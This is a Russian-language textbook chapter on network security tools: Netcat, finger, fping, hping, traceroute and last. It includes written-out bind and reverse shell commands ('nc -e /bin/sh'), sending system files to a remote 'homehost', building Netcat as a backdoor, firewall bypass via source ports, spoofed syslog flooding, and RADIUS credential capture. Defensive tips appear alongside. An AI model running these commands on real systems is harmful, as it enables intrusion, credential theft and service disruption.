Перехват вывода приложений. Влезем снова в шкуру взломщика. Предположим, вы написали скрипт, который выводит информацию из некоторых важных системных файлов на стандартный вывод (passwd, group, inetd.conf, hosts.allow и т.д.) и выполняет некоторые системные команды для получения справочной информации (uname, ps, netstat). Назовем этот скрипт "sysinfo". Чтобы достичь цели, выполним:

nc -l -u -p 55555 -e sysinfo

или

sysinfo | nc -l -u -p 55555

Вы можете перехватить вывод этой команды и поместить его в файл с названием sysinfo.txt.


nc-u target 55555 > sysinfo.txt

В чем разница? Обе команды перенаправляют вывод скрипта с помощью конвейера на Netcat, находящийся в режиме прослушивания, таким образом, что данные пересылаются вне сети через установленное кем-то соединение. Опция -e "передает" ввод/вывод приложению, которое выполняется. Когда скрипт sysinfo завершит свой вывод (вместе с командой EOF), прослушивающая программа завершит работу, и то же самое произойдет с клиентом на другой принимающей стороне. В случае если скрипт sysinfo будет поставлен на входе конвейера, его вывод по прежнему будет передаваться клиенту, но Netcat будет удерживать поток ввод/вывода. Клиент не получит на вход команду EOF и останется в ожидании передачи какой либо информации.

То же самое можно сказать и о "перевернутом" примере. Что будет, если вы работаете на машине, на которую передается информация, и хотите инициировать соединение с программой Netcat, находящейся в режиме прослушивания на вашей "домашней" машине? Если Netcat выполняет прослушивание на "домашнем" хосте, после запуска команды nc -l -u -p 55555 > sysinfo.txt, у вас вновь будут две возможности:

nc -u -e sysinfo homehost 55555

или

sysinfo | nc -u homehost 55555 Совет. В Unix-системах, если команда, которую вы хотите выполнить с использованием опции -e, находится вне текущей директории, из которой запущен Netcat, необходимо определить полное имя команды. Под управлением Windows Netcat может воспользоваться переменной %PATH% и не имеет таких ограничений.

Разница в использовании конвейера и состоит том, останется ли клиент открытым после того, как скрипт закончит свою работу. Использование опции -e указывает клиенту Netcat закончить работу немедленно после завершения работы скрипта sysinfo. Различие этих двух режимов работы становится совершенно очевидным, если вы хотите выполнить приложение на удаленном хосте и передать ввод/вывод через конвейер Netcat (как об этом говорилось в разделе "Получение удаленного доступа к командной оболочке").



Захват контроля над приложением. В разделе "Получение удаленного доступа к командной оболочке" мы описывали, как запустить удаленный командный интерпретатор на Windows-машине. Тоже можно сделать и на Unix-машине.

nc -u -l -p 55555 -e /bin/sh

Установите соединение с использованием nc -u targethost 55555. Интерпретатор запустится (/bin/sh), и вы получите возможность взаимодействовать с командным интерпретатором через конвейер. Опция -e полностью обеспечивает передачу ввода/вывода командному интерпретатору. Имейте в виду, что эта команда должна выполняться циклом в скрипте, если вы хотите оставить "черный ход" в систему открытым после завершения работы командного интерпретатора. При выходе из командного интерпретатора Netcat закроется на обеих сторонах соединения, как только закончит работу /bin/sh. Для Windows-версии Netcat того же результата можно достичь, используя опцию -L.

Как и в предыдущем примере, вы можете посылать данные ввода/вывода локального приложения Netcat, находящегося в режиме прослушивания (nc -u -l -p 55555), просто набрав следующую команду.

nc -u -e /bin/sh homehost 55555

Вы можете делать это в любом интерактивном приложении с продержкой текстового ввода без режимов управления терминалом (текстовый редактор vi, к примеру, не будет работать).

Совет. Возможно, вы не захотите использовать telnet-клиент для соединения с Netcat, поскольку telnet вносит слишком большое возмущение в работу командного интерпретатора. Вместо этого используйте Netcat для соединения в клиентском режиме.


Тестирование сетевого оборудования


Мы бы не хотели терять на этом слишком много времени. Вы можете использовать Netcat в качестве прослушивающего устройства на одном конце сети и попытаться установить с ним соединение с другого конца. Вы можете тестировать множество устройств (маршрутизаторы, брандмауэры и т.д.) на установление соединения, проверяя, какой трафик они передают. Поскольку Netcat дает возможность осуществлять подмену IP-адресов, вы можете также проверять настройки брандмауэров, основанные на IP-адресах, и не потратите много времени на проверку удовлетворительной работы брандмауэра.

Вы также можете использовать опцию -g, чтобы проверить вашу сеть на предмет возможности осуществлять source routing. Большинство сетевых устройств можно сконфигурировать так, чтобы игнорировать эту возможность, поскольку ее использование почти всегда незаконно.



Установка


Мы не будем углубляться в процедуры загрузки, распаковки и компиляции большинства программ, обсуждаемых в этой книге. Но так как Netcat - первая программа, о которой мы говорим, и поскольку у него есть несколько интересных опций, определяемых на этапе компиляции, будет не лишним углубиться в некоторые подробности.

Скопируйте с упомянутого сайта файл nc110.tgz. Затем распакуйте его.

[root@originic tmp]# ls nc110.tgz [root@originic tmp]# mkdir nc [root@originic tmp]# cd nc [root@originic tmp]# tar zxf ../nc110.tgz [root@originic tmp]# Примечание. В отличие от большинства тарболов (архивов, созданных с использованием утилиты-архиватора tar в Unix системах), Netcat при распаковке не создает собственной директории. Сейчас эти советы могут выглядеть банально, но если все ваши архивы и поддиректории загружены в одну директорию, и вы обнаружите, что Netcat разместил все свои файлы в корне, то понадобиться некоторое время чтобы вычистить их оттуда.

Теперь вы готовы начать компиляцию. Обратим внимание на две важные опции, задаваемые перед компиляцией.

GAPING_SECURITY_HOLE. Как видно из названия, эта опция может сделать Netcat опасным в чужих руках, но она также делает его весьма мощным инструментом. Если эта опция включена, Netcat сам может запускать внешние программы. Ввод/вывод этих программ в этом случае будет проходить через конвейер данных самого Netcat. Тем самым Netcat ведет себя как функционально усеченный демон inetd, давая вам возможность выполнять удаленные команды (вроде запуска оболочки shell) всего лишь установив TCP или UDP соединение с контролируемым портом. Эта опция отключена по умолчанию, поскольку весьма велика опасность ее неверного использования или ошибок в конфигурировании.TELNET. Обычно, если вы используете Netcat для соединения с telnet-сервером (используя команду nc servername 23), вы уйдете не слишком далеко. Telnet-серверы и клиенты согласовывают некоторые параметры еще до того, как появляется приглашение ввести идентификатор (login). Если включить при компиляции эту опцию, то Netcat сможет реагировать на запросы Telnet-сервера (отвечая на каждый из них no), что даст вам возможность дойти до ввода идентификатора.
Без этого, если вы захотите получить что-нибудь путное, используя Netcat и telnet, вам понадобится написать собственный скрипт для реализации соединения с telnet-сервером. Возможно, важность этой опции пока вам не ясна, но вы поймете, почему мы обращаем на это внимание, как только посмотрите некоторые примеры приведенные далее в этой лекции.

Для того чтобы включить каждую из этих опций, необходимо добавить строку DFLAGS в начало makefile.

# makefile for netcat, based off same ol' "generic makefile". # Usually do "make systape" - if your systipe isn't defined, try "generic" # or something else that most closely mathes, see where it goes wrong, fix # it, and MAIL THE DIFFS back to Hobbit ### PREDEFINES # DEFAULT possibly overridden by <systype> recursive call: # pic gcc if you'd rather, and/or do -g instead -O if debugging # DFLAGS = -DTEST -DDEBUG DFLAGS = -DGAPING_SECURITY_HOLE -DTELNET CFLAGS = -O

Вы можете включить одну или обе эти опции в строку DFLAGS.

Если вы намерены поиграть с приведенными далее примерами, вам следует проделать эти модификации. Однако до того как вы произведете эти изменения, убедитесь в том, что доступ к созданным вами исполняемым файлам запрещен для любого пользователя, или в том, что вы являетесь единственным пользователем в системе. Достаточно того, что другому пользователю также просто загрузить собственную копию Netcat и скомпилировать ее с теми же опциями, и вы вряд ли захотите увидеть, что ваша система взломана, потому что кто-то использовал вашу специально скомпилированную версию Netcat в качестве "черного хода" в вашу систему.

Теперь вы готовы к компиляции. Просто наберите в командной строке make systemtype, где systemtype - это название Unix-системы, с которой вы работаете (это может быть linux, freebsd, solaris и так далее). Когда процесс закончится, вы обнаружите небольшой исполняемый файл "nc" в текущей директории.

Для пользователей Windows версию Netcat можно загрузить в виде архива (nc11nt.zip), также содержащего исходные тексты.Но поскольку большинство людей не имеют компиляторов, то исполняемый файл подготовлен заранее с опциями, включенными по умолчанию. Просто распакуйте архив и ваш файл nc.exe готов к использованию.


Установка ловушек


Это забавная страшилка для желающего стать взломщиком. Запустив экземпляр Netcat в режиме прослушивания портов, которые наиболее часто проверяются взломщиками на предмет незащищенности, вы можете ввести взломщика в заблуждение, убедив его, что вы делаете нечто, чего на самом деле нет. Если вы сделаете это аккуратно, то получите возможность поймать взломщика.

[root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt

Ваш скрипт может передать на выход все, что угодно. После завершения соединения (с помощью команды EOF), скрипт должен быть запущен заново той же командой Netcat. Но если некто стал слишком любопытным, вы можете затопить атакующего любым мусором, какой вам только будет по душе. Если же вы предпочитаете быть более терпимым, то можете просто записать IP-адреса, с которых происходит атака, в файл traplog.txt.



Вокруг сетевых фильтров


Netcat может использоваться для проникновения через брандмауэры. Маскировка запрещенного сетевого трафика под разрешенный - единственный способ обойти брандмауэры или фильтры портов.

Некоторые брандмауэры разрешают входящий трафик от источника по 20 порту, который во внутренней сети передается адресату по более высоким номерам портов для обеспечения передачи файлов по FTP. Атака с использованием команды

nc -p 20 targethost 6000

позволит обеспечить доступ к X-серверу на хосте targethost, если брандмауэр плохо сконфигурирован. Таким способом можно имитировать ваше соединение как входящий FTP-запрос и проникнуть внутрь. Конечно, вы сможете получить доступ только к определенному подмножеству портов. Большинство администраторов брандмауэров исключают порт с номером 6000 из числа доступных портов, но вы по-прежнему можете искать другие службы, работающие на портах с номерами больше 1024, которые ответят на входящий запрос по порту с номером 20.

Подобные проблемы есть и у службы DNS. Практически все брандмауэры разрешают исходящие запросы DNS, но не обязательно разрешают входящие. Если вы работаете за брандмауэром, который разрешает и то и другое, вы можете использовать это, чтобы направить запрещенный трафик через брандмауэр, используя исходящий номер порта 53. Из-за брандмауэра, запустив команду

nc -p 53 targethost 9898

, вы сможете пройти фильтр, который обычно запрещает исходящий трафик персонального менеджера сообщений сети AOL (AOL Instant Messenger). Этим можно удовлетвориться, но вы можете увидеть, как с помощью Netcat можно воспользоваться плохо написанными правилами для брандмауэра.

Системные администраторы могут захотеть проверить промахи вроде этих. Для начала, вы запрещаете любой DNS- TCP-трафик, что позволяет закрыть многие проблемы с фильтрацией DNS. Заставляя пользователей использовать пассивный FTP, который не требует сервера для инициализации TCP-соединения с клиентом по порту с номером 20, вы полностью исключаете возможность проникновения в систему описанным выше способом.



Взаимодействие с UDP-службами


Мы уже упоминали, что иногда Netcat используется в качестве слегка улучшенного Telnet-клиента. Несмотря на то, что многие вещи, которые делаются с помощью Netcat (вроде общения напрямую с HTTP-сервером), можно выполнять и с помощью telnet, у него есть некоторые ограничения, которых нет у Netcat. Во-первых, telnet не может корректно передавать двоичную информацию. Некоторые такие данные интерпретируются telnet, как команды. Следовательно, telnet не может корректно передавать поток данных транспортного уровня. Во-вторых, telnet закрывает соединение, как только он встретит во входном потоке символ EOF. Netcat может оставаться открытым до тех пор, пока соединение не будет закрыто извне, что часто используется для написания скриптов инициирующих соединение для ожидания большого объема передаваемых данных, которые посылаются одной строкой. Однако, вероятно наилучшей возможностью Netcat, по сравнению с telnet, является его способность взаимодействовать по протоколу UDP.

Рискнем запустить демона для ведения системного журнала на вашей Unix-машине - хорошо? Если он сконфигурирован для получения сообщений от других хостов в сети, то вы увидите что-то на 514 UDP-порту, если воспользуетесь командой netstat -a -n. (Если не можете, посмотрите соответствующие man-страницы, чтобы узнать, как запустить syslog в сетевом режиме).

Один из способов определить, принимает ли syslog UDP-пакеты, это попробовать следующую команду и посмотреть, что будет отражаться в журнале.

[root@originix nc]# echo "<0> I can speak syslog" | ./nc -u 192.168.1.100 514 Message from syslog@originix ar Tue Feb 12 06:07:48 2002 : originix I can speak syslog punt! [root@originix nc]#

Символы <0> указывают на наивысший уровень журнализации, kern.emerg, гарантирующий, что это сообщение должно быть записано где-то в системе (см. файл /etc/syslog.conf, чтобы точно знать, где). И если вы проверите журнал сообщений ядра, то сможете увидеть что-то вроде этого:

Feb 12 06:00:22 originix kernel: Symbols mathc kernel version 2.2.12.
Feb 12 06:00: 22 originix kernel: Load 18 symbols from 5 modules. Feb 12 06:00:22 originix I can speak syslog Совет. Если вы запустили UDP-сессию для Netcat и передали что-то на вход, а после нажатия клавиши Enter Netcat немедленно закончил работу, проверьте, не занят ли используемый вами UDP-порт.

Это отличный способ убедится в том, что удаленные UDP-серверы работают. И если кто-то запустит syslog с неограниченными правами, он откроет себя для весьма простых атак, с помощью которых можно заполнить все свободное дисковое пространство, занять всю полосу пропускания и полностью исчерпать ресурс центрального процессора.

[root@originix nc]# yes "<20>blahblahblahblahblah" | nc -s 10.0.0.1 -u targethost 514

Команда yes выводит строку (представленную в командной строке) еще и еще до тех пор, пока процесс не будет снят. Таким образом, можно затопить системный журнал на атакуемом хосте потоком бессмысленной чепухи "blahblahblahblahblah". Атакующий может также использовать липовый IP-адрес (-s 10.0.0.1), поскольку ответы syslog-демона не имеют никакого значения.

Совет. Если вы страдаете от такого рода атак, то большинство используемых в настоящее время syslog-демонов имеют опцию командной строки (FreeBSD использует -a) для ограничения хостов, которые могут посылать сообщения. Вместо того чтобы получать сообщения от хоста, внесенного в такой список, syslog будет их игнорировать. Однако, поскольку Netcat может без труда подменить IP-адреса и в этом случае, то атакующий может воспользоваться разрешенным IP-адресом из вашего списка и использовать его в качестве обратного адреса. Блокирование входящего syslog-трафика с использованием брандмауэра следует в данном случае считать наилучшим решением.


Загрузка


Netcat можно получить из многих источников, и каждый из множества дистрибутивов Unix поставляется с уже готовым к работе модулем Netcat. Не самая плохая идея загрузить исходные тексты этой программы и откомпилировать ее самостоятельно. По умолчанию, Netcat скомпилирован с меньшим, чем этого хотелось бы, количеством опций. Загрузив исходные тексты и скомпилировав их самостоятельно, вы сможете полностью проконтролировать, какие возможности Netcat будут в вашем распоряжении.

Официальный сайт, с которого можно загрузить Netcat как для Unix, так и для Windows - http://www.atstake.com//.



Захват службы


Перейдите к системному журналу в вашей любимой операционной системе и запустите команду netstat -a -n. Посмотрите на первые строчки вывода. Вы увидите нечто подобное этому.

Proto Recv-Q Send-Q LocalAddress ForeignAddress (state) tcp4 0 0 *.6000 *.* LISTEN tcp4 0 0 *.80 *.* LISTEN tcp4 0 0 *.22 *.* LISTEN tcp4 0 0 *.23 *.* LISTEN tcp4 0 0 *.21 *.* LISTEN tcp4 0 0 *.512 *.* LISTEN tcp4 0 0 *.513 *.* LISTEN tcp4 0 0 *.514 *.* LISTEN

Последние три строчки - это удаленные службы (rlogin, rexec, и т.д.), которые могут стать отличной находкой для взломщика, поскольку они незащищены. Вы также можете обратить внимание, что запущенны службы telnet, FTP, X Windows, Web, и SSH. Что еще можно узнать? Обратите внимание на символ * у каждой из служб в локальном адресе. Это означает, что все эти службы не ограничены работой с конкретным IP-адресом. Ну и что?

Как оказалось, многие IP-клиенты, пытаясь соединиться со службой по конкретному IP-адресу, предварительно прослушивают все IP-адреса. Попытайтесь выполнить следующую команду.

[root@originix nc] ./nc -l -v -s 192.168.1.102 -p 6000

Теперь запустите на выполнение еще один экземпляр netstat. Вы увидите следующее.

Proto Recv-Q Send-Q LocalAddress ForeignAddress (state) tcp4 0 0 192.168.1.102.6000 *.* LISTEN tcp4 0 0 *.6000 *.* LISTEN

Посмотрите! Вы теперь прослушиваете порт перед X-сервером. Если вы имеете доступ к компьютеру, как пользователь root, вы можете прослушивать порты с номерами менее 1024 и перехватывать такие сервисы, как telnet, Web и другие ресурсы. Но особенно интересны приложения для аутентификации, совместного использования файлов и другие, которые используют большие по номерам порты. Постоянные пользователи вашей системы могут, к примеру, перехватить RADIUS-сервер (который обычно выполняется на порту UDP с номером 1645 или 1812) и запустить команду Netcat с опцией -o для получения шестнадцатеричных протоколов всех попыток аутентификации. Они всего лишь перехватят все пользовательские имена и пароли, не имея при этом полномочий пользователя root.
Конечно, пользователи довольно быстро поймут, что служба не отвечает, и "подрывная" деятельность будет раскрыта. Но если пираты хоть что-то знают о службе, которую они перехватили, они могут изобразить псевдослужбу (выдавая поддельные ответы на запрос) или перенаправить запросы на какую-нибудь еще службу.

[root@originix nc] ./nc -l -v -s 192.168.1.102 -p 1812 -e nc_to_radius

где nc_to_radius - это скрипт, который выглядит примерно так:

#!bin/sh DATE='date "+%Y-%m-%d_%H.%M.%S"' /usr/bin/nc -o hexlog-$DATE slave-radius 1812

slave-radius в данном случае имя хоста вторичного RADIUS-сервера в сети. Запуск Netcat на прослушивание таким образом, чтобы он перезапускался после каждого соединения, дает теоретическую возможность перехватить всю информацию, передаваемую в процессе аутентификации (сохранив все в отдельных файлах) и при этом уберечься от того, чтобы кто-нибудь сразу понял, что что-то не так. Этот прием просто записывает информацию в процессе передачи ее на резервный RADIUS-сервер. Может, и не просто заставить это работать, но все же возможно.

Совет. Приведенный выше прием не обязательно работает на всех операционных системах или версиях ядра, поскольку многие из них не имеют этой лазейки в реализации сокетов. Обычно, чтобы понять, где работает этот прием, требуется тестирование системы. К примеру, у нас не получилось выполнить этот фокус на машине под управлением RedHat Linux 6.1 с установленным по умолчанию ядром версии 2.2.12. Перехват служб отлично работает в FreeBSD 4.3-BETA, но только при наличии полномочий пользователя root.


Автоматизация процесса


Понятно, что можно многое сделать с общим ресурсом, который вы однажды обнаружили. Есть доступные программы-сканеры "smbscan", как для Windows, так и для Unix, которые просматривают заданные интервалы IP-адресов с целью поиска общих ресурсов и попыток соединения с ними. Эти утилиты просто используют рассмотренный выше метод в большем масштабе. Мы поговорим еще об этих утилитах в лекции "Средства ревизии Windows".



FINGER


Под управлением Unix утилита finger позволяет получать информацию о пользователях системы. Система запускает демон finger, который работает по протоколу TCP через 79 порт и отвечает на запросы о работающих в настоящее время в системе пользователях, а также на запросы о конкретных пользователях.



Finger estewart@host_name.com


Теперь посмотрим, какую информацию мы сможем получить о пользователе с именем Eebel Stewart.

[bobuser@originix bobuser]$ finger estewart@host_name.com

Login: estewart Name: Eebel Stewart Directory: /home/estewart Shell: /bin/tcsh On since Wed Jan 16 05:43 (EST) on tty1 39 days 2 hours idle Last login Sun Feb 24 07:20 (EST) on 4 from somewere.host_name.com No mail No Plan

Мы получили кое-что интересное. Мы обнаружили пользовательскую директорию, используемый командный интерпретатор, и определили, откуда пользователь последний раз заходил в систему.

Совет. Если вы используете команду finger -l @host_name.com, вы сможете получить ту же самую информацию для всех пользователей, зарегистрированных в системе на текущий момент.



Finger @host_name.com


Эта команда выдает информацию обо всех пользователях, в настоящее время зарегистрированных в системе с именем host_name@com. Если в системе запущен демон finger, мы можем просто набрать команду finger, чтобы получить ту же самую информацию на локальной машине.

[bobuser@originix bobuser]$ finger @host_name.com Login Name Tty Idle Login Time Office Phone estewart Eebel Stewart 1 39d Jan 16 05:43 (somewhere) wwankel Willy Wankel /4 Feb 24 07:23 (whoknows) bspear Billy Spear /5 Feb 24 08:11 (nada)

Здесь представлено немало информации. Мы получили идентификаторы трех пользователей системы. Есть шанс, что хотя бы один из них использует несложный пароль. Чем больше работающих в системе пользователей мы обнаружим, тем больше пользовательских идентификаторов мы можем испробовать для взлома паролей.



Finger stewart@host_name.com


finger может использоваться не только для поиска имен пользователей, но и для поиска настоящих имен в системе. Вы можете попытаться получить с его помощью информацию о распространенных именах вроде Джонсона, Джонса или Стюарта.



Fping


Стандартная реализация программы Ping, которая поставляется с большинством версий TCP/IP-протокола, разработана для работы на одиночном хосте. Хоть это и удобно, но использование утилиты для тестирования большой сети превращается в кропотливый процесс. Пользователь должен последовательно запускать программу для каждого хоста и ожидать, пока Ping вернет результаты.

Для решения этих проблем была создана программа Fping, которая позиционируется как быстрый Ping. Утилиту можно свободно загрузить с хоста http://www.fping.com/. Windows-приложение, аналогичное утилите fping (но не портированное под Windows Fping), можно загрузить по адресу http://www.kwakkelflap.com/. Но мы не будем рассматривать эту программу в данном разделе.

Реализация

Fping посылает ICMP (Internet Control Message Protocol) запросы по списку IP-адресов, обеспечивая параллельную выдачу информации на стандартный вывод или в файл. Программа посылает циклические запросы, не ожидая ответа на каждый из них. Когда ответы, наконец, возвращаются, fping отмечает, доступен хост или нет, и продолжает ожидать ответы на протяжении всего цикла работы программы. Такой способ асинхронного управления работой при опросе большого количества хостов позволяет получить лучшие, чем при использовании обычной утилиты Ping, результаты. До появления утилиты Fping тестирование всей сети требовало написания программы на языке командного интерпретатора, в которой производился последовательный опрос всех хостов и запись результатов в файл. Вывод результатов этой программы требовал дальнейшей сортировки для анализа пользователем. Fping не только делает эту работу быстрее, но и выводит результаты своей работы в более дружественном для пользователя виде.

Ниже приведен пример вывода после тестирования подсети класса C с маской 192.168.1.0 Запустив команду fping -a -g 192.168.1.1 192.168.1.254 -s hosts, мы сможем увидеть, какие хосты в сети работают, и сохранить их IP-адреса в файле. Вдобавок к этому, флаг -s указывает на необходимость выводить итоговую информацию о работе.
Если мы добавим флаг -n в командную строку, то сможем посмотреть и имена, соответствующие IP-адресам. Fping будет записывать в файл имена хостов вместо IP-адресов.

254 targets 3 alive 251 unreachable 0 unknown addresses

143 timeouts 397 ICMP Echos sent 3 ICMP Echo Replies received 294 other ICMP received

0.10 ms (min round trip time) 0.62 ms (avg round trip time) 1.02 ms (max round trip time) 11.921 sec (elapsed real time)

[root@originix fping-2.4b_2_to]# cat hosts 192.168.1.1 192.168.1.100 192.168.1.101

Анализируя далее командную строку мы увидим, что флаг -a указывает на необходимость выводить на стандартный вывод информацию о доступных хостах. Флаг -g выполняет функции утилиты gping (кратко упоминаемой здесь) и создает список IP-адресов для сканирования. В этом случае список IP-адресов от 192.168.1.1 до 192.168.1.254 передается утилите fping. В дополнение к флагу -g, fping может получить список IP-адресов, которые необходимо сканировать через стандартный вход или из файла, имя которого можно указать после флага -f. Полный список доступных параметров командной строки утилиты fping версии 2.4b2, к которым вы можете получить доступ, набрав fping в командной строке, таков.

Usage: ./fping [options] [targets...] -a show targets that are alive (показывает доступные хосты). -A show targets by address (показывает хосты по их IP-адресам). -b n amount of ping data to send, in bytes (default 56) (количество посылаемых пакетов) (по умолчанию 56). -B f set exponential backoff factor to f (устанавливает фактор задержки). -c n count of pings to send to each target (default 1) (количество пакетов посылаемых, каждому хосту (по умолчанию 1)). -C n same as -c, report results in verbose format (тоже самое что и -c - выводит результаты с расширенными текстовыми комментариями). -e show elapsed time on return packets (выводит время выполнения для вернувшихся пакетов). -f file read list of targets from a file ( - means stdin) (only if no -g specified) (задает имя файла со списком тестируемых хостов (пробел означает, что список берется из стандартного ввода).


Используется, только если не задан параметр -g). -g generate target list (only if no -f specified) (specify the start and end IP in the target list, or supply an IP netmask) (ex. ./fping -g 192.168.1.0 192.168.1.255 or ./fping -g 192.168.1.0/24) генерирует список тестируемых хостов (только если не задан параметр -f) (задается начальный и конечный IP адреса, или сетевая маска ). -i n interval between sending ping packets (in millisec) (default 25) задает интервал между посылаемыми пакетами (в миллисекундах) (по умолчанию 25). -l loop sending pings forever (задает опрос хостов в цикле). -m ping multiple interfaces on target host (тестирование нескольких интерфейсов на доступном хосте). -n show targets by name (-d is equivalent) (отображает тестируемые хосты по имени (то же самое что и -d)). -p n interval between ping packets to one target (in millisec) (in looping and counting modes, default 1000) задает интервал между посылкой пакетов на один и тот же хост (в миллисекундах) (в цикле или непрерывном режиме, по умолчанию 1000). -q quiet (don't show per-target/per-ping results) (подавляет вывод как по хостам так и для пакетов). -Q n same as -q, but show summary every n seconds (то же самое что -q, но выводит сводную информацию каждые n секунд). -r n number of retries (default 3) число попыток (по умолчанию 3). -s print final stats (вывод финальной статистики). -t n individual target initial timeout (in millisec) (default 500) (начальная задержка для опрашиваемого хоста (в миллисекундах) (по умолчанию 500)). -u show targets that are unreachable (отображает недоступные хосты). -v show version (выводит номер версии) targets list of targets to check (if no -f specified) (список проверенных хостов (если не задан параметр -f).

Раньше утилита fping работала совместно с gping. Утилита gping брала на себя черновую работу по определению большого списка IP-адресов для сканирования с помощью fping. Вообразите себе необходимость сканирования сети класса B (65 534 хостов) и ввода вручную каждого IP-адреса! Вам понадобилось бы написать такой скрипт для автоматизации этой работы, создание которого весьма утомительно и сложно для человека, не имеющего опыта программирования на командном языке.Теперь в утилиту fping добавлен флаг -g. Добавление этого параметра сделала fping совершенно независимой утилитой.

Выгоды от использования fping очевидны. Примерно за 10 секунд мы определили, сколько хостов присутствует в нашей сети, какие у них IP-адреса и получили начальную информацию, необходимую для создания схемы нашей сети. Но следует иметь в виду, что этот инструмент предоставляет те же самые преимущества назойливым чужакам, которые бродят вокруг в поисках доступа к чужим сетям.


Hping


Обычные Ping программы для проверки сетевых соединений используют запросы ICMP и ожидают ответа. Программа hping позволяет вам выполнять такое же тестирование, используя IP-пакеты, включая ICMP, UDP, и TCP.

Hping требует хорошего представления об IP-, TCP-, UDP-, и ICMP-протоколах. Использование программы hping в процессе изучения этих протоколов является отличным способом понять, что собой представляют эти протоколы, со всех сторон. В действительности hping - настолько универсальная программа, что не хватит целой книги, чтобы описать ее функции и понять какую информацию можно получить с ее помощью. Обращайтесь к README и HOWTO документации и другим ресурсам, поставляемым вместе с пакетом, чтобы увидеть возможности hping.



Интерпретация выходной информации от traceroute


Ниже приведен отрывок вывода программы traceroute, запущенной на локальной машине для тестирования удаленного сервера.

bash-2.03$ traceroute -n 192.168.76.177 traceroute to 192.168.76.177 (192.168.76.177), 30 hops max, 40 byte packets 1 192.168.146.1 20.641 ms 15.853 ms 16.582 ms 2 192.168.83.187 15.230 ms 13.237 ms 13.129 ms 3 192.168.127.65 16.843 ms 14.968 ms 13.727 ms 4 * * * 5 192.168.14.85 16.915 ms 15.945 ms 15.500 ms 6 192.168.14.138 17.495 ms 17.697 ms 16.598 ms 7 192.168.14.38 17.476 ms 17.073 ms 14.342 ms 8 192.168.189.194 19.130 ms 18.208 ms 18.250 ms 9 192.168.96.162 39.989 ms 35.118 ms 36.275 ms 10 192.168.98.19 472.009 ms 36.853 ms 35.128 ms 11 192.168.210.126 37.135 ms 36.288 ms 35.612 ms 12 192.168.76.177 37.792 ms 36.920 ms 34.972 ms

Обратите внимание, что каждая попытка повторяется трижды. Об этом говорит наличие трех колонок со временем отклика (20.641 ms 15.853 ms 16.582 ms). Также обратите внимание, что на четвертом шаге не получено никакой информации. Если вы видите символ * для соответствующего шага, но программа переходит к следующему шагу, вероятно, хост не послал в ответ ICMP-сообщение о том, что исчерпано время жизни посланного пакета. Возможно, что на промежуточном брандмауэре запрещена передача ICMP-сообщений. Возможно, посланное в ответ ICMP-сообщение имело слишком маленький TTL-параметр, и ответ не дошел до получателя.

Traceroute может принять множество других ICMP-сообщений. Если в выводе traceroute вы видите странные значки, описанные в таблице 2.5 - это попытка сообщить вам нечто.

Примечание. Вам необходимо использовать параметр -v, если вы хотите увидеть отличные от стандартного TIME_EXCEEDED или трех UNREACHABLE сообщения.

Traceroute выдает большой объем информации, включая географический регион, в котором расположен хост, список машин, которые поддерживают трафик между исходным и конечными хостами, а также инетрнет-провайдера для хоста. Некоторая информация позволяет взломщикам определить промежуточные маршрутизаторы, которые могут быть уязвимы для атак или использованы для получения дополнительной информации.
До тех пор, пока большинством систем traceroute трафик рассматривается, как разрешенный, только с помощью брандмауэров или систем обнаружения вторжений можно обнаружить или блокировать внешние попытки трассировки.

Таблица 2.5. Расшифровка флагов-сообщений TracerouteФлагОписание
!HХост ICMP недостижим.
!NICMP network unreachable (сеть ICMP недостижима).
!PПротокол ICMP недостижим.
!SНеудавшаяся попытка задать маршрут.
!FНеобходима фрагментация.
!XСоединение запрещено администратором.
!#ICMP код недостижимости #.

Last


А что можно сказать относительно пользователей, которые ранее зарегистрировались в системе, и более не проявляли своей активности? Вы когда-нибудь регистрировались в Unix-системе и получали сообщение о времени своего последнего входа в систему? Если вы запросите информацию с помощью finger о пользователях, которые в настоящее время не зарегистрированы в системе, демон всего лишь сообщит вам дату и время последнего входа в систему этих пользователей. Каким образом система хранит эту информацию?

В системе используется база данных для хранения записей о регистрации в системе в двоичном виде. Эти записи сохраняются в двух структурах: utmp и wtmp. Подробная структура записей utmp и wtmp достаточно сложна, но команда last позволяет увидеть, кто входил в систему, откуда осуществлялся вход и как долго они оставались активны. Информация, поставляемая командой last, может иметь настолько глубокую ретроспективу, насколько это позволяет системная база данных wtmp.

Пример из жизни. Слежка за пользователями

Системным администраторам нужны средства, чтобы как следует следить за своими пользователями. Периодический запуск команды w может сообщить нам, с какими программами пользователи в настоящий момент работают.

jjohnson@host:~% w 1:45am up 3 days, 12:03, 4 users, load average: 1.55, 2.23, 2.35 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Gstuart pts/0 192.168.1.10 1:44am 55.00s 0.04s 0.04s ./nc -l -p 1812 -s 1 Wave pts/1 10.10.4.3 Sun 9am 9:57m 0.14s 0.11s -bash Schuster pts/1 10.10.4.15 Mon 3pm 9:57m 0.14s 0.11s pine Jjohnson pts/2 192.168.1.100 12:37am 1.00s 0.35s 0.08s w

Мы можем видеть, что Иванов тщетно бьется над командным запросом, Петров читает свою почту, Сидоров запускает команду w , а что же Гаврилов? Целая командная строка вырезана, но она появляется, когда он пытается запустить Netcat, чтобы перехватить трафик RADIUS. (Опция -p указывает, что RADIUS принимается на порте 1812, а опция -s указывает специфический исходящий адрес; см. лекцию "NETCAT и CRYPTCAT", где подробно рассказано об утилите Netcat.) Мы также можем видеть, что Гаврилов запустил Netcat около 55 секунд назад.

Это выглядит несколько подозрительно. Давайте запустим last на своей системе, чтобы выяснить, кто входил в систему (и как часто). Поскольку мы собираемся получить кучу выходной информации в занятой системе, мы переправим ее через утилиту head (стандартная для большинства систем Unix), чтобы прочитать только первые строки.

jjohnson@host:~% last | head ilof ftpd12204 ilofhost Tue Feb 26 02:00 still logged in ilof ftpd11820 ilofhost Tue Feb 26 01:59 - 02:00 (00:00) derk ftpd11786 10.10.4.88 Tue Feb 26 01:59 - 01:59 (00:00) gstuart pts/0 192.168.1.10 Tue Feb 26 01:59 still logged in rlessen ftpd11413 192.168.118.122 Tue Feb 26 01:59 - 01:59 (00:00) deskel ftpd11665 192.168.174.42 Tue Feb 26 01:59 - 01:59 (00:00) ilof ftpd11533 ilofhost Tue Feb 26 01:59 - 01:59 (00:00) derk ftpd11189 10.10.4.88 Tue Feb 26 01:58 - 01:58 (00:00) gstuart pts/0 192.168.1.10 Tue Feb 26 01:58 - 01:59 (00:01) deskel ftpd11053 192.168.174.42 Tue Feb 26 01:58 - 01:58 (00:00)

